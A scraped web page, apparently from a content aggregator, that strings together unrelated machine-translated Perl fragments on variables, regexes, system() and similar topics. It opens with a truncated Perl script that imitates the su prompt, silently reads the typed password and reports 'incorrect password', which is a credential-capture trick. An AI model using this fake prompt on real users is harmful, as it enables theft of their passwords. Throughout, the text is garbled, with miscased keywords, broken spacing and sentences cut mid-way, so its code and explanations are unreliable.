I changed it and turned it back on and added a delay:
#!/usr/bin/perl
# written by Xi4oyu .
Print "Password:";
' Stty-echo ';
$s 1=;
print "\ n";
' Stty echo ';
Sleep 3;
Print "Su:incorrect password\n";
Chomp ($s 1);
$s 2= "Password is:";
$s 3= "
How do I use the Perl script operating system environment variables?
Presumably a lot of friends will soon think of this particular hash variable that $env in Perl, and, yes, you can get some system variables in $env. How do I get it? For example,
My $para = @_ This is a scalar context, $para gets the number of elements in the @_.
My ($para) = @_ This is the list context, $para gets the value of the element in the @_.
The specific context is determined by the type of variable on the left
Sometimes it is troublesome to encounter rows or columns that are inconsistent in length, although you can fill the file with the longest row (column) in R, but it is inconvenient, so remember to use Perl to achieve one.The indefinite length text
There is such a text file, the content has many lines as follows, the quantity is indefinite.Lif (__AMSCRIPT_CD ("Www.jb51.net")) {__AMSCRIPT_WC (' #closead {display:none;} ');Lif (__AMSCRIPT_CD ("Www.jb51.net")) {__AMSCRIPT_WC (' #footer_win
Let's see what the following code will output?
Copy Code code as follows:
My $a = 0;
$a = $a or 1;
Print $a, "\ n";
$a = $a | | 1;
Print $a, "\ n";
Output:01Why, then? because | |, =, or these three priorities are gradually
Special variables in Perl
1. $&, $ ', $ ' used in pattern matching
$& is used to hold the value in the match$ ' used to hold all previous characters in match$' Used to hold all characters after the match
Such as:
#!/usr/bin/perl-w
If
"
Hello
"Use POSIX": Sys_wait_h ";" Remove, and it is wrong to print the variables in the subprocess in the main process, the main process does not know the status of the child process, unless you pass the value of the variable to the main process with a
One: SystemThe system function is the simplest way to start a Perl subroutine. Eg:system "Date"1: Can use Shell function to start background processSystem "Run_cmd with Parameters &"; #在后台执行2:system performs a normal return value of 0, otherwise the
Chapter II, scalar dataScalar (scalar): numeric or stringNumbers are saved in the Dobule type, no integers, and can be inserted into the underline for easy reading123456789 and 123_456_789 show the same effect.Supports other binary integer
Windows needs to set ORACLE_SID and Oracle_home when using Asmcmd, the path does not need to be quoted when setting Oracle_homeC:\users\administrator>asmcmd"Asmcmd:the environment variable oracle_home is not set."C:>set Oracle_sid=+asm To set the
Here is a summary of some code snippets in the daily work, some comments are added later, using//This form, do not apply.1. Get user inputPrint ("Please input the date range:");$dateRange =;Chomp ($dateRange);2. Exit the program if the data does not
The test script is as follows:
My $ run_app_path = "C: // exit_value.pl ";My $ ret_val = system ($ run_app_path );Print "system value is: $ ret_val/N ";$ Ret_val = $ ret_val> 8;Print "return value is: $ ret_val/N ";Exit 0;
The
Application of Regular Expressions
1. // is short for M //./http: // is not easy to read. You can write m {http: //} or M % http: // %
2. The forward slash is not a metacharacter. If it is not a separator, you do not need to use a backslash before
Use regular expressions to process files
1. S //, S/ABC/Fred/first matches ABC. If ABC is matched, use Fred to replace ABC. If ABC is not matched, do nothing.
2. S // G, replace globally, S/ABC/Fred/g, replace all ABC with Fred
3. Other symbols can
Perl has many built-in variables and columns for searching.
$ ARG$ _-The default input and pattern-searching space.$ -contains the subpattern from the corresponding set of parentheses in the last pattern matched.$ Match$ &-The string matched by the
#! /Usr/bin/perl# Un-mangle C ++ symbol# Assuming the C ++ filt command is available
Use strict;Use warnings;
If ($ # argv! = 0 ){Print "Usage: \ n ";Print "program filename \ n ";}
My $ in_filename = $ argv [0];Open (my $ in, "
$/= UNDEF;My $ body =
For DBAs, an accurate and stable monitoring system is nothing more than a powerful sword. If hundreds of systems rely on manual checks every day, the workload is too heavy to imagine, and the human cannot capture errors in real time.
However, with
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.
A Free Trial That Lets You Build Big!
Start building with 50+ products and up to 12 months usage for Elastic Compute Service